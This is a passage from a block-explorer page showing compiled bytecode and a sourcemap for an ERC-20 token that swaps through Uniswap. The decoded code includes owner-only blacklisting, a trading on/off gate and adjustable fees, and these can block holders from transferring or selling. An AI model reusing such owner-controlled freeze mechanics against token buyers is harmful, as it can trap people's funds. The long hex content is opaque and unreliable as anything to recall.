6f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105c9565b6001600160a01b03821661089f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105c9565b6001600160a01b038381165f818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109635760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105c9565b633b9aca0081116109a95760405162461bcd60e51b815260206004820152601060248201526f135a5b881d1c985b9cd9995c88185b5d60821b60448201526064016105c9565b600454600160a01b900460ff16806109d857506001600160a01b0383165f908152600b602052604090205460ff165b806109fa57506001600160a01b0382165f908152600b602052604090205460ff165b610a315760405162461bcd60e51b81526020600482015260086024820152672737ba1027b832b760c11b60448201526064016105c9565b6001600160a01b0383165f9081526005602052604090205460ff16158015610a7157506001600160a01b0382165f9081526005602052604090205460ff16155b610abd5760405162461bcd60e51b815260206004820152601f60248201527f546f2f66726f6d206164647265737320697320626c61636b6c6973746564210060448201526064016105c9565b6001600160a01b0383165f908152600b602052604081205460ff1680610afa57506001600160a01b0383165f908152600b602052604090205460ff165b15610b0657505f610e3e565b60085460ff16600103610bc0576001600160a01b0384165f9081526009602052604081208054849290610b3a90849061122e565b90915550506001600160a01b0383165f9081526009602052604081208054849290610b66908490611255565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610bb291815260200190565b60405180910390a350505050565b7f000000000000000000000000328970c77918893f38eaad05ffd846e58fc596956001600160a01b0316846001600160a01b031603610c9d57600154610c2483610c1e866001600160a01b03165f9081526009602052604090205490565b90611014565b1115610c2e575f80fd5b600254821115610c945760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a3c2634b6b4ba1760a91b60648201526084016105c9565b50600654610e3e565b7f000000000000000000000000328970c77918893f38eaad05ffd846e58fc596956001600160a01b0316836001600160a01b031603610e3b57305f9081526009602052604090205460035481118015610cf9575060085460ff16155b15610e31576008805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d3e57610d3e611241565b60200260200101906001600160a01b031690816001600160a01b0316815250507f000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110610d9257610d92611241565b6001600160a01b0392831660209182029290920101526004805460405163791ac94760e01b81527f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84169363791ac94793610df89388935f938993921691429101611268565b5f604051808303815f87803b158015610e0f575f80fd5b505af1158015610e21573d5f803e3d5ffd5b50506008805460ff191690555050505b5050600754610e3e565b505f5b8015610f7c575f6064610e5183856112d9565b610e5b91906112f0565b90505f610e68828561122e565b6001600160a01b0387165f90815260096020526040812080549293508692909190610e9490849061122e565b90915550506001600160a01b0385165f9081526009602052604081208054839290610ec0908490611255565b9091555050305f9081526009602052604081208054849290610ee3908490611255565b909155505060405182815230906001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a3846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610f6d91815260200190565b60405180910390a35050610fa3565b6001600160a01b0384165f9081526009602052604081208054849290610b3a90849061122e565b50505050565b6001600160a01b038116610fbb575f80fd5b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b5f806110208385611255565b9050838110156110725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105c9565b9392505050565b5f602080835283518060208501525f5b818110156110a557858101830151858201604001528201611089565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b03811681146110db575f80fd5b919050565b5f80604083850312156110f1575f80fd5b6110fa836110c5565b946020939093013593505050565b5f60208284031215611118575f80fd5b611072826110c5565b5f805f60608486031215611133575f80fd5b61113c846110c5565b925061114a602085016110c5565b9150604084013590509250925092565b5f806040838503121561116b575f80fd5b50508035926020909101359150565b5f806020838503121561118b575f80fd5b823567ffffffffffffffff808211156111a2575f80fd5b818501915085601f8301126111b5575f80fd5b8135818111156111c3575f80fd5b8660208260051b85010111156111d7575f80fd5b60209290920196919550909350505050565b5f80604083850312156111fa575f80fd5b611203836110c5565b9150611211602084016110c5565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156104e7576104e761121a565b634e487b7160e01b5f52603260045260245ffd5b808201808211156104e7576104e761121a565b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156112b85784516001600160a01b031683529383019391830191600101611293565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176104e7576104e761121a565b5f8261130a57634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220cfd16c1b0f252299bb807558d2923203505bff948e03812cd8b9dc82e669514a64736f6c63430008160033

Deployed Bytecode Sourcemap

2816:7528:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4895:83;;;;;;;;;;-1:-1:-1;4965:5:0;;;;;;;;;;;;-1:-1:-1;;;4965:5:0;;;;4895:83;;;;;;;:::i;:::-;;;;;;;;5805:193;;;;;;;;;;-1:-1:-1;5805:193:0;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;5805:193:0;1004:187:1;5172:100:0;;;;;;;;;;-1:-1:-1;3058:22:0;5172:100;;;1342:25:1;;;1330:2;1315:18;5172:100:0;1196:177:1;3497:47:0;;;;;;;;;;-1:-1:-1;3497:47:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;7188:76;;;;;;;;;;;;;:::i;:::-;;6006:350;;;;;;;;;;-1:-1:-1;6006:350:0;;;;;:::i;:::-;;:::i;6892:282::-;;;;;;;;;;-1:-1:-1;6892:282:0;;;;;:::i;:::-;;:::i;5081:83::-;;;;;;;;;;-1:-1:-1;5081:83:0;;3290:2;2297:36:1;;2285:2;2270:18;5081:83:0;2155:184:1;3464:26:0;;;;;;;;;;-1:-1:-1;3464:26:0;;;;-1:-1:-1;;;3464:26:0;;;;;;3553:21;;;;;;;;;;;;;;;;7488:192;;;;;;;;;;-1:-1:-1;7488:192:0;;;;;:::i;:::-;;:::i;6751:127::-;;;;;;;;;;;;;:::i;3207:41::-;;;;;;;;;;;;;;;;5280:118;;;;;;;;;;-1:-1:-1;5280:118:0;;;;;:::i;:::-;-1:-1:-1;;;;;5373:17:0;5346:7;5373:17;;;:8;:17;;;;;;;5280:118;1625:140;;;;;;;;;;;;;:::i;3419:38::-;;;;;;;;;;-1:-1:-1;3419:38:0;;;;-1:-1:-1;;;;;3419:38:0;;;;;;-1:-1:-1;;;;;3144:32:1;;;3126:51;;3114:2;3099:18;3419:38:0;2964:219:1;3153:47:0;;;;;;;;;;;;;;;;3087:51;;;;;;;;;;;;;;;;1359:79;;;;;;;;;;-1:-1:-1;1397:7:0;1424:6;-1:-1:-1;;;;;1424:6:0;1359:79;;4986:87;;;;;;;;;;-1:-1:-1;5058:7:0;;;;;;;;;;;;-1:-1:-1;;;5058:7:0;;;;4986:87;;5406:199;;;;;;;;;;-1:-1:-1;5406:199:0;;;;;:::i;:::-;;:::i;3581:22::-;;;;;;;;;;;;;;;;7286:189;;;;;;;;;;-1:-1:-1;7286:189:0;;;;;:::i;:::-;;:::i;5613:184::-;;;;;;;;;;-1:-1:-1;5613:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;5762:18:0;;;5730:7;5762:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5613:184;1773:109;;;;;;;;;;-1:-1:-1;1773:109:0;;;;;:::i;:::-;;:::i;5805:193::-;5907:4;5929:39;268:10;5952:7;5961:6;5929:8;:39::i;:::-;-1:-1:-1;5986:4:0;5805:193;;;;;:::o;7188:76::-;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;7243:6:::1;:13:::0;;-1:-1:-1;;;;7243:13:0::1;-1:-1:-1::0;;;7243:13:0::1;::::0;;7188:76::o;6006:350::-;6138:4;6155:36;6165:6;6173:9;6184:6;6155:9;:36::i;:::-;-1:-1:-1;;;;;6273:19:0;;;;;;:11;:19;;;;;;;;268:10;6273:33;;;;;;;;;6202:124;;6225:6;;6273:42;;6309:6;;6273:42;:::i;:::-;6202:8;:124::i;:::-;-1:-1:-1;6344:4:0;6006:350;;;;;:::o;6892:282::-;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;7001:2:::1;6988:9;:15;;6980:57;;;::::0;-1:-1:-1;;;6980:57:0;;4128:2:1;6980:57:0::1;::::0;::::1;4110:21:1::0;4167:2;4147:18;;;4140:30;4206:31;4186:18;;;4179:59;4255:18;;6980:57:0::1;;;;;;;;;7070:2;7056:10;:16;;7048:58;;;::::0;-1:-1:-1;;;7048:58:0;;4128:2:1;7048:58:0::1;::::0;::::1;4110:21:1::0;4167:2;4147:18;;;4140:30;4206:31;4186:18;;;4179:59;4255:18;;7048:58:0::1;3926:353:1::0;7048:58:0::1;7117:6;:18:::0;;;;7146:7:::1;:20:::0;6892:282::o;7488:192::-;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;7578:9:::1;7573:100;7589:20:::0;;::::1;7573:100;;;7658:5;7627:14;:28;7642:9;;7652:1;7642:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7627:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;7627:28:0;:36;;-1:-1:-1;;7627:36:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;7611:3:0::1;7573:100;;;;7488:192:::0;;:::o;6751:127::-;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;3058:22:::1;6805:14;:29:::0;;;6845:10:::1;:25:::0;6751:127::o;1625:140::-;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;1724:1:::1;1708:6:::0;;1687:40:::1;::::0;-1:-1:-1;;;;;1708:6:0;;::::1;::::0;1687:40:::1;::::0;1724:1;;1687:40:::1;1755:1;1738:19:::0;;-1:-1:-1;;;;;;1738:19:0::1;::::0;;1625:140::o;5406:199::-;5511:4;5533:42;268:10;5557:9;5568:6;5533:9;:42::i;7286:189::-;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;7374:9:::1;7369:99;7385:20:::0;;::::1;7369:99;;;7454:4;7423:14;:28;7438:9;;7448:1;7438:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7423:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;7423:28:0;:35;;-1:-1:-1;;7423:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;7407:3:0::1;7369:99;;1773:109:::0;1565:4;1603:6;-1:-1:-1;;;;;1603:6:0;1589:10;:20;1478:18;;;;;;1846:28:::1;1865:8;1846:18;:28::i;:::-;1773:109:::0;:::o;6364:369::-;-1:-1:-1;;;;;6491:19:0;;6483:68;;;;-1:-1:-1;;;6483:68:0;;4618:2:1;6483:68:0;;;4600:21:1;4657:2;4637:18;;;4630:30;4696:34;4676:18;;;4669:62;-1:-1:-1;;;4747:18:1;;;4740:34;4791:19;;6483:68:0;4416:400:1;6483:68:0;-1:-1:-1;;;;;6570:21:0;;6562:68;;;;-1:-1:-1;;;6562:68:0;;5023:2:1;6562:68:0;;;5005:21:1;5062:2;5042:18;;;5035:30;5101:34;5081:18;;;5074:62;-1:-1:-1;;;5152:18:1;;;5145:32;5194:19;;6562:68:0;4821:398:1;6562:68:0;-1:-1:-1;;;;;6641:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6693:32;;1342:25:1;;;6693:32:0;;1315:18:1;6693:32:0;;;;;;;6364:369;;;:::o;7688:2616::-;-1:-1:-1;;;;;7810:18:0;;7802:68;;;;-1:-1:-1;;;7802:68:0;;5426:2:1;7802:68:0;;;5408:21:1;5465:2;5445:18;;;5438:30;5504:34;5484:18;;;5477:62;-1:-1:-1;;;5555:18:1;;;5548:35;5600:19;;7802:68:0;5224:401:1;7802:68:0;7898:3;7889:6;:12;7881:41;;;;-1:-1:-1;;;7881:41:0;;5832:2:1;7881:41:0;;;5814:21:1;5871:2;5851:18;;;5844:30;-1:-1:-1;;;5890:18:1;;;5883:46;5946:18;;7881:41:0;5630:340:1;7881:41:0;7941:6;;-1:-1:-1;;;7941:6:0;;;;;:35;;-1:-1:-1;;;;;;7951:25:0;;;;;;:19;:25;;;;;;;;7941:35;:62;;;-1:-1:-1;;;;;;7980:23:0;;;;;;:19;:23;;;;;;;;7941:62;7933:83;;;;-1:-1:-1;;;7933:83:0;;6177:2:1;7933:83:0;;;6159:21:1;6216:1;6196:18;;;6189:29;-1:-1:-1;;;6234:18:1;;;6227:38;6282:18;;7933:83:0;5975:331:1;7933:83:0;-1:-1:-1;;;;;8036:20:0;;;;;;:14;:20;;;;;;;;8035:21;:44;;;;-1:-1:-1;;;;;;8061:18:0;;;;;;:14;:18;;;;;;;;8060:19;8035:44;8027:88;;;;-1:-1:-1;;;8027:88:0;;6513:2:1;8027:88:0;;;6495:21:1;6552:2;6532:18;;;6525:30;6591:33;6571:18;;;6564:61;6642:18;;8027:88:0;6311:355:1;8027:88:0;-1:-1:-1;;;;;8155:25:0;;8128:12;8155:25;;;:19;:25;;;;;;;;;:52;;-1:-1:-1;;;;;;8184:23:0;;;;;;:19;:23;;;;;;;;8155:52;8151:1484;;;-1:-1:-1;8231:1:0;8151:1484;;;8271:16;;;;;:21;8267:239;;-1:-1:-1;;;;;8348:14:0;;;;;;:8;:14;;;;;:24;;8366:6;;8348:14;:24;;8366:6;;8348:24;:::i;:::-;;;;-1:-1:-1;;;;;;;8391:12:0;;;;;;:8;:12;;;;;:22;;8407:6;;8391:12;:22;;8407:6;;8391:22;:::i;:::-;;;;;;;;8454:2;-1:-1:-1;;;;;8439:26:0;8448:4;-1:-1:-1;;;;;8439:26:0;;8458:6;8439:26;;;;1342:25:1;;1330:2;1315:18;;1196:177;8439:26:0;;;;;;;;8484:7;7688:2616;;;:::o;8267:239::-;8534:13;-1:-1:-1;;;;;8526:21:0;:4;-1:-1:-1;;;;;8526:21:0;;8522:1102;;8605:14;;8576:25;8594:6;8576:13;8586:2;-1:-1:-1;;;;;5373:17:0;5346:7;5373:17;;;:8;:17;;;;;;;5280:118;8576:13;:17;;:25::i;:::-;:43;;8568:52;;;;;;8657:10;;8647:6;:20;;8639:76;;;;-1:-1:-1;;;8639:76:0;;7003:2:1;8639:76:0;;;6985:21:1;7042:2;7022:18;;;7015:30;7081:34;7061:18;;;7054:62;-1:-1:-1;;;7132:18:1;;;7125:41;7183:19;;8639:76:0;6801:407:1;8639:76:0;-1:-1:-1;8741:6:0;;8522:1102;;;8779:13;-1:-1:-1;;;;;8773:19:0;:2;-1:-1:-1;;;;;8773:19:0;;8769:855;;8853:4;8813:20;8836:23;;;:8;:23;;;;;;8897:7;;8882:22;;:47;;;;-1:-1:-1;8908:16:0;;;;:21;8882:47;8878:649;;;8954:16;:20;;-1:-1:-1;;8954:20:0;8973:1;8954:20;;;9021:16;;;9035:1;9021:16;;;;;;;;-1:-1:-1;;9021:16:0;;;;;;;;;;-1:-1:-1;9021:16:0;8997:40;;9078:4;9060;9065:1;9060:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;9060:23:0;;;-1:-1:-1;;;;;9060:23:0;;;;;9116:4;9106;9111:1;9106:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;9106:14:0;;;:7;;;;;;;;;:14;9376:15;;;9143:321;;-1:-1:-1;;;9143:321:0;;:15;:92;;;;;:321;;9266:12;;9309:1;;9341:4;;9376:15;;;9422;;9143:321;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;9487:16:0;:20;;-1:-1:-1;;9487:20:0;;;-1:-1:-1;;;8878:649:0;-1:-1:-1;;9552:7:0;;8769:855;;;-1:-1:-1;9607:1:0;8769:855;9708:9;;9704:593;;9762:17;9800:3;9783:13;9792:4;9783:6;:13;:::i;:::-;9782:21;;;;:::i;:::-;9762:41;-1:-1:-1;9818:22:0;9843:18;9762:41;9843:6;:18;:::i;:::-;-1:-1:-1;;;;;9878:14:0;;;;;;:8;:14;;;;;:24;;9818:43;;-1:-1:-1;9896:6:0;;9878:14;;;:24;;9896:6;;9878:24;:::i;:::-;;;;-1:-1:-1;;;;;;;9917:12:0;;;;;;:8;:12;;;;;:30;;9933:14;;9917:12;:30;;9933:14;;9917:30;:::i;:::-;;;;-1:-1:-1;;9979:4:0;9962:23;;;;:8;:23;;;;;:36;;9989:9;;9962:23;:36;;9989:9;;9962:36;:::i;:::-;;;;-1:-1:-1;;10018:40:0;;1342:25:1;;;10041:4:0;;-1:-1:-1;;;;;10018:40:0;;;;;1330:2:1;1315:18;10018:40:0;;;;;;;10093:2;-1:-1:-1;;;;;10078:34:0;10087:4;-1:-1:-1;;;;;10078:34:0;;10097:14;10078:34;;;;1342:25:1;;1330:2;1315:18;;1196:177;10078:34:0;;;;;;;;9719:405;;9704:593;;;-1:-1:-1;;;;;10176:14:0;;;;;;:8;:14;;;;;:24;;10194:6;;10176:14;:24;;10194:6;;10176:24;:::i;9704:593::-;7791:2513;7688:2616;;;:::o;1890:187::-;-1:-1:-1;;;;;1964:22:0;;1956:31;;;;;;2024:6;;;2003:38;;-1:-1:-1;;;;;2003:38:0;;;;2024:6;;;2003:38;;;2052:6;:17;;-1:-1:-1;;;;;;2052:17:0;-1:-1:-1;;;;;2052:17:0;;;;;;;;;;1890:187::o;2110:181::-;2168:7;;2200:5;2204:1;2200;:5;:::i;:::-;2188:17;;2229:1;2224;:6;;2216:46;;;;-1:-1:-1;;;2216:46:0;;8935:2:1;2216:46:0;;;8917:21:1;8974:2;8954:18;;;8947:30;9013:29;8993:18;;;8986:57;9060:18;;2216:46:0;8733:351:1;2216:46:0;2282:1;2110:181;-1:-1:-1;;;2110:181:0:o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:173::-;635:20;;-1:-1:-1;;;;;684:31:1;;674:42;;664:70;;730:1;727;720:12;664:70;567:173;;;:::o;745:254::-;813:6;821;874:2;862:9;853:7;849:23;845:32;842:52;;;890:1;887;880:12;842:52;913:29;932:9;913:29;:::i;:::-;903:39;989:2;974:18;;;;961:32;;-1:-1:-1;;;745:254:1:o;1378:186::-;1437:6;1490:2;1478:9;1469:7;1465:23;1461:32;1458:52;;;1506:1;1503;1496:12;1458:52;1529:29;1548:9;1529:29;:::i;1569:328::-;1646:6;1654;1662;1715:2;1703:9;1694:7;1690:23;1686:32;1683:52;;;1731:1;1728;1721:12;1683:52;1754:29;1773:9;1754:29;:::i;:::-;1744:39;;1802:38;1836:2;1825:9;1821:18;1802:38;:::i;:::-;1792:48;;1887:2;1876:9;1872:18;1859:32;1849:42;;1569:328;;;;;:::o;1902:248::-;1970:6;1978;2031:2;2019:9;2010:7;2006:23;2002:32;1999:52;;;2047:1;2044;2037:12;1999:52;-1:-1:-1;;2070:23:1;;;2140:2;2125:18;;;2112:32;;-1:-1:-1;1902:248:1:o;2344:615::-;2430:6;2438;2491:2;2479:9;2470:7;2466:23;2462:32;2459:52;;;2507:1;2504;2497:12;2459:52;2547:9;2534:23;2576:18;2617:2;2609:6;2606:14;2603:34;;;2633:1;2630;2623:12;2603:34;2671:6;2660:9;2656:22;2646:32;;2716:7;2709:4;2705:2;2701:13;2697:27;2687:55;;2738:1;2735;2728:12;2687:55;2778:2;2765:16;2804:2;2796:6;2793:14;2790:34;;;2820:1;2817;2810:12;2790:34;2873:7;2868:2;2858:6;2855:1;2851:14;2847:2;2843:23;2839:32;2836:45;2833:65;;;2894:1;2891;2884:12;2833:65;2925:2;2917:11;;;;;2947:6;;-1:-1:-1;2344:615:1;;-1:-1:-1;;;;2344:615:1:o;3396:260::-;3464:6;3472;3525:2;3513:9;3504:7;3500:23;3496:32;3493:52;;;3541:1;3538;3531:12;3493:52;3564:29;3583:9;3564:29;:::i;:::-;3554:39;;3612:38;3646:2;3635:9;3631:18;3612:38;:::i;:::-;3602:48;;3396:260;;;;;:::o;3661:127::-;3722:10;3717:3;3713:20;3710:1;3703:31;3753:4;3750:1;3743:15;3777:4;3774:1;3767:15;3793:128;3860:9;;;3881:11;;;3878:37;;;3895:18;;:::i;4284:127::-;4345:10;4340:3;4336:20;4333:1;4326:31;4376:4;4373:1;4366:15;4400:4;4397:1;4390:15;6671:125;6736:9;;;6757:10;;;6754:36;;;6770:18;;:::i;7345:988::-;7615:4;7663:3;7652:9;7648:19;7694:6;7683:9;7676:25;7720:2;7758:6;7753:2;7742:9;7738:18;7731:34;7801:3;7796:2;7785:9;7781:18;7774:31;7825:6;7860;7854:13;7891:6;7883;7876:22;7929:3;7918:9;7914:19;7907:26;;7968:2;7960:6;7956:15;7942:29;;7989:1;7999:195;8013:6;8010:1;8007:13;7999:195;;;8078:13;;-1:-1:-1;;;;;8074:39:1;8062:52;;8169:15;;;;8134:12;;;;8110:1;8028:9;7999:195;;;-1:-1:-1;;;;;;;8250:32:1;;;;8245:2;8230:18;;8223:60;-1:-1:-1;;;8314:3:1;8299:19;8292:35;8211:3;7345:988;-1:-1:-1;;;7345:988:1:o;8338:168::-;8411:9;;;8442;;8459:15;;;8453:22;;8439:37;8429:71;;8480:18;;:::i;8511:217::-;8551:1;8577;8567:132;;8621:10;8616:3;8612:20;8609:1;8602:31;8656:4;8653:1;8646:15;8684:4;8681:1;8674:15;8567:132;-1:-1:-1;8713:9:1;;8511:217::o

Swarm Source

ipfs://cfd16c1b0f252299bb807558d2923203505bff948e03812cd8b9dc82e669514a

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.